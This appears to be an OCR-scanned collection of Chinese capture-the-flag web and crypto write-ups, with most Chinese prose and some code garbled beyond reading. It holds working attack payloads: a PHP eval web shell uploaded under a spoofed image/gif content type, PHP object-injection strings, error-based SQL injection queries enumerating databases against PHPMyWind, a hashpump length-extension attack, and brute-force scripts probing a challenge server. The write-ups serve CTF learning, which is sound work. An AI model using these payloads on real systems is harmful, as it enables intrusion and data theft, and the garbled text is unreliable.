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function check(){
var form = document.getElementById("uploadFile™);
var file = document.getElementById("file™);

var filename = file.value;
var nameArr = filename.split('.');
var Suffix = nameArr[nameArr.length-1];

console.log(Suffix);
if(Suffix==""){
alert(" 1R 5 T BFEHS. - o *);

return false;

if(Suffix!="jpg ' &&Suffix!="png'&&Suffix!="bmp'){
alert(' RAiEBIRN ");

return false;

return true;
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var check=1;
function check(){

AHvar, BEERRAE X

check=1;
function check(){

}
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window.check
function check(){

}
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##coding:utf-8
import requests
for i in range(3,1000):
t = requests.get('http://219.219.61.234/challenge/web/code/ " +str(i)+"'.bak")
print (i)
if 'flag' in t.text:
print(t.text)
else :
continue

BAalie, XEBESERLT, MBRERET.
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BAZKEME T —KERE, EBRSBEETU, HMARERT: WAFERpythonk) 7 H ?
Wt Rtry...except...

try:
#HREAT FER T BE IR AR
except (NameError,....):##HEiREHR
##HH I T HIREMAH 4
else:
HRARIRE A 4
finally:
#HEw ETREBWERE, MIPITXHE
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##coding:utf-8
import requests
def traverse():
for i in range(90,1000):
t = requests.get('http://219.219.61.234/challenge/web/code/ +str(i)+"'.bak")
if i%50 == 0:
print (i)
if 'flag' in t.text:
print(t.text)
else :
continue
try:
traverse()
finally:
traverse()
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setInterval(function(){xhr('./getScore.php',function(e){
var r = JSON.parse(e);
if(r.state == 200)
game.addScore(r.score);
else{
alert(r.msg);
game.start()

}
})},1000)
PS:JSit i} 2% setinterval

setInterval(function(){alert("Hello")},1000);
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$("##a").click(function(){
$.ajax({
url:'paraml.php’,
method: 'get’',
dataType: 'json',
success:calParam2
})
1
function calParam2(d){ // 3kExZ¥d
var data=JSON.parse((d.param));
var length=data.length;
var second=new Date().getSeconds();
var sum=0;
for (var i = 1; i < length; i++) {
for (var j = @; j < length/2; j++) {
sum+=parseInt(data[i])*second + data[j];
Y /7 RLiZRFfor & K S H S A BUE R
}
// #WERflag
$.ajax({
url:'http://new.pmcaff.com/aram2.php?param="+sum, // XBurlX#E EEKurliEERHE RN
method: 'get"',
dataType: 'json',
success:function(s){
alert(s.f);
s
error:function(s){

alert("857"');

FTFF Jparam1.php, 753 22 —Heurl

{"param" :"%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C
%228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"
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function calParam2(d){

d.param=unescape(d.param);

var data=JSON.parse((d.param));

var length=data.length;

var second=new Date().getSeconds();

var sum=0;

for (var i = 1; i < length; i++) {
for (var j = 0; j < length/2; j++) {

sum+=parselnt(data[i])*second + data[j];

}

}

// #WRflag
$.ajax({
url:'param2.php?param="+sum,
method: 'get"',
dataType: 'json',
success:function(s){
alert(s.f);

3
error:function(s){
alert('#7"');
}
)
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TP 50, & NSRRI S RE R PHP &5 5 LIR TR
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XRNARFFUH 58
B LAIRATT E 244 i <span style="color: red;">data=0:5:"Admin":1:{s:4:"file";s:8:"flag.php":}</span>H&. . -
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@ Load URL [ http://202.119.201.199/challenge/web/php_object_injection/index.php?data=0:5:"Admin":1:{s:4:"file";s:8:"flag.php";}
% split URL

L Execute

[] Enable Post data [ Enable Referrer

dangerrousstring(9) "index.php" bool(true) <?php

class Admin{
public $file = ’flag. php’ ;™\
public function _ construct (3f)

$this—>file = 3f;
REAER_ wakeup()REERFE, H4 THIBRMEMB LS E
SRR, kR B — AR T
<span style="color: red;">PHP 2 3> 54 5 i F1 R~ 0 5B HEBE R T B L B A St < Bhid_ wakeup()iI34T

</span>
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@ Lload URL | http://202.119.201.199/challenge/web/php_object_injection/index.php?data=0:5:"Admin®:2:{s:4:*file";s:8:*flag.php";}
& Split URL

4 Execute

[] Enable Post data [ | Enable Referrer

string(8) "flag.php" bool(true) <?php
$flag = "flag {PHP_Object_Injection_is_fun}”;
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B: AR 55w 5

1.3k content-typeZ B 56 (image/gif)

2. 30N AL (GIF89a)
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SR )5 Fbrupdle, B keontent-type B N: image/gif

HHRIEEIA]

POST /challenges/web/uploadfile/upload.php HTTP/ 1.1

Host: Z0Z2.119.Z01.199

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4: rv:52.0) Gecko/Z0L00Ll0Ll Firefox/52.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, %/ *;c=0.8
Accept-Languages: zh-CHN, zh;qgq=0.8,en-U3;q=0.5,en;q¢=0.3

Aecept-Encoding: gzip, deflate

Feferer: http://Z0Z.115.201.199/challenge/web/uploadfile/

Cookis: PHPSESSID=i8re£S964abrilslevi103iptgiug

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=——-———————-—-——-——————————————— 27435179742 e050
Content-Length: 237

————————————————————————————— 27435179742 6050
Content-Disposition: form-data; nams="file"; filename="test.php"
Content-Type: image/gif

<?php
Beval (§_POST[ 'a' ]):

————————————————————————————— 27435179742€050—-
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Address A Port A Address B Port B Packets Bytes Packets A—B Bytes A—B PacketsB—A BytesB—A RelStart Duration Bits/s A—B Bits/sB—A

192.168.1.111 55030 192.168.1.13 a0 12 1477 & B15 6 662 5187454 49.5608 13

192.168.1.13 57370 192.168.1.111 2333 162 15k 74 8572 95 6451 5.193298 49.5545 1383
BREftcpifit, R Piflagfs B

cat flag

mbZoEMrhADBWWeUgN jqNW3UETE 2C+rwpgpbdwRZgfQI3MARRSZ9qjnz iUKkveexhaokIs/OXoYVWSuQDjvveNa==<mething/welcome/secret/

ks dmacakaak sscack fbhasakd Ta

T Hfunction.py X BAGERA R T
cat function.py
#!/usr/bin/env python
# coding:utf-8
__author_ = 'Aklis’

from Crvnta imnoart Random
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from Crypto.Cipher import AES

import sys
import base64

def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.decrypt(encrypted[16:])

def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\@' * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.encrypt(message)

IV = "YUFHIKVWEASDGQDH'

message = IV + "flag is hctf 000000000000}

print len(message)

example = encrypt(message, 'Qg4awdrhhyEWedgBF')
print example
example = decrypt(example, 'QgawdrhhyEWedqBF')
print example
BEMEFZFFRRIRMAE, BTURE%base64
AAEBENT, AeHREBEERERITT

basef4. b4
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« 00 00 00 OD i}BEIHDRL R H913

« 49 48 44 52 |HDRIFS

« 0000 00 08 E{EHIE , 8(&H

« 00 00 00 08 EHSATE , B{HE

« 04 @j% , 2M4=16 , BliXE—MOBRIEIS ( tbB o EEEADELNEBIT16 , LK , INREAEELTETS , FH3E
TEAIE)

« 03 BhtRzER! |, 5 |EH&

« 00 PNG SpeciliEtab 2790 ( FEOENISEREBITFNERENDEME )  TREEETE(LZITIRESZ)

. 00EL

« 00 IEFRITHIIE

. 3621 A3 B8 CRCH:3&

H %03 B

23333333333333333, BAXIEE R A +4, BEER—ERMEK. « « - »

R 19005, F Flyou have missed the flag

BAEGHEBWMEME. WRERFMEERIEN ZSKI, <span style="color: red;">## B default 21K S
</span>. . . . (REBEHR)

302, fEMMABEEBRBSERSBER, PR miburp A, B, B

me 32 B 5t R flag

Ps:i‘z%ﬁﬁiumooooo@ﬁoooo%oooooo‘iiﬁéoooogﬁ\oooo}aﬁﬂgiﬂmuﬁﬁgxoooo
logic

XIEB AR H AR R R A AEF 12058, 50K T
— AN A R, — SR T A TR PR 4

k=

MRS, LSRNV D
FiER 0 LR E B flag

phpmywind

B4 T R4 5.3 T4 R R A KR

BN & R AEF B xss, BT GTEA

B E PR T )G 6 EEE AR E PRI R A xss TG 2 Gk
B ASEA R EEN


http://202.119.201.199/challenge/basic/http/defauIt.php

time - time()
cie('username’, Code($username , 'ENCODE'), $cookie_time);
o(*lastlogintime" FhC $regtime ,'E JE*), $cookie time);
("lastloginip’, Code($regip s EN '}, $cookie time);

THFIBGEANF (B RS — KRN R K HIEAER)

@ Load URL | httpy/localhost/PHPfmember phpta=perfect
2 splitURL

v Execute

[<] Enable Post data | Enable Referrer

Post data username=15616515sad
&password=a123123123
Brepassword=a123123123
Bemail=21582312@qq.com
&isgl=select count(*),concat{usen(),0x23 floor{rand(0)*2))x from information_schema.tables group by x

PHPMyWind& 284 : MySql Error !

SWRSZHE © /PHP/member.php
HRIR(NR : Duplicate entry "root@localhost#1° for key "group_key” Error sql: select count{*),concat{user(),0x23,floor(rand(0)*2})x from information_schema.tables group by x

B 5EIX B RpostiE AN, EHE A B 2,175



function ExecNoneQuery($sql="")
I
L

$dosql;
($dosql->isclose)
$this->Open(false);
$dosql->isclose - false;
lempty($sql))

SetQuery($sql);

ARG MR B, 2R A, R ARSI

select count(*),concat(REE#HIEHF],floor(rand(0)*2))x from information_schema.tables group by x

—IFRBARMERE T — T, FE NS 7 E WAL T I8 Hchar(@s327)58d (5 17 3B 4 5B 1), /MR R BT

($querytype "select’)

(preg_match('/["0-9a-z@\._-]1{1, }{union ﬁ]PPp|ththﬂFki]ﬂnd_{iﬁﬁéﬁuffi]w}[*ﬂ 9a-z@\.-]1{1, )}

$this - ETOETEERas( "$sql | |Selec

(AR UL T A N E, — MR, BRI L3 X — B EMERT)
REEAE R

R Z B R BB AE iR A b

system_user() RARAF4

user() AFP4%

current_user HHIA4
session_user()EBEBIEENH 4
database() ¥IEFE4

version() MYSQL¥UEFERRA
load_file() MYSQLiSzEA 1 T # i %
@@datadir iEEUEEERE

@@basedir MYSQL ZI&ER4Z
@@version_compile os #IERZ

W] PLX A — MR



sql=select count(*),concat(char(@ %27 ), (select SCHEMA_NAME from information_schema.SCHEMATA limit n,1), Ox

- =3

sql=select count(*),concat(char(@ %27 ),(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEM

BB

sql=select count(*),concat(char(@ %27 ), (select column_name from (select * from information_schema.columns

& rflag

BT % & selectE &, 7] A E ik fliselectz JE A B HAB T DL 2 RKR R
BRIENB T pmw_info, BAR AT AEEIDE , 5 8 =

sql=replace into pmw_info (" id , classid’, mainid’, picurl’, content’, posttime ) VALUES (3,3,1,char(@ %27"

| XFFi

flagy . } [EF =]

md5

(&, , , BE%EEEFIREE,ESBER--2017.10.03)

BAHES T — NSRRGSR 79, AT I8 2 3R A A5t
IERNERAREEHET At fe 2 R B BRERE

X B 16 H A RIE G IR A T RAE REEREZEEET., . . . .



<?php
$key = 'safwefdsfsacxwwl'; //16fisalt
$b=%_GET['a'];
$k = md5($key.$b);
echo $key.$b.'<br/>";
echo $k.'<br/>';
if($k ===$_GET['c']){
print 'success</br>';

}
else{
print 'fail</br>';
}
?>
@ Load URL | http://localhost/mdS.php
& split URL ?a=637972

&c=399b6c01633bb303fe3eccic3f36ea3s

b Execute

[ ] Enable Post data [_| Enable Referrer

safwefdsfsacxwwl637972
399b6c01633bb303fe3ecc7c3f36eal3s
success

PRI B B — R /NG, 1675 10 JE
M _E R RIE R R, T L C

root@kali:~# hashpump

Input Signature: 4dbe35eaeab655b0a2b0de6391175b8a3

Input Data: 637972

Input Key Length: 16

Input Data to Add: 70

b186167e53b172a5d5f73d664b89e80c¢
637972\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

@ Load URL hatp/Aocalhost/mdS.php
1 split URL i 5 3T 7 20 0 N On e O i M D 8 4 0 DN S O i D N Do S DY Y S M S DM e DN S D S 0 S0 S 000 0 D i D00 e Do by e D D0 DO S DO R DO R DD R DD
== & =5b4bd 5413671 bSMO0M 3Bdcf4aTbiv

Execute

Enable Post data || Enabile Referrer

safwefdsfsacowwlB37972€470
5b4bd54f3671b5fb00fI3f8dcf48fbfa
success


http://flywinky.top/2017/05/12/%25E5%2593%2588%25E5%25B8%258C%25E9%2595%25BF%25E5%25BA%25A6%25E6%2589%25A9%25E5%25B1%2595%25E6%2594%25BB%25E5%2587%25BB/
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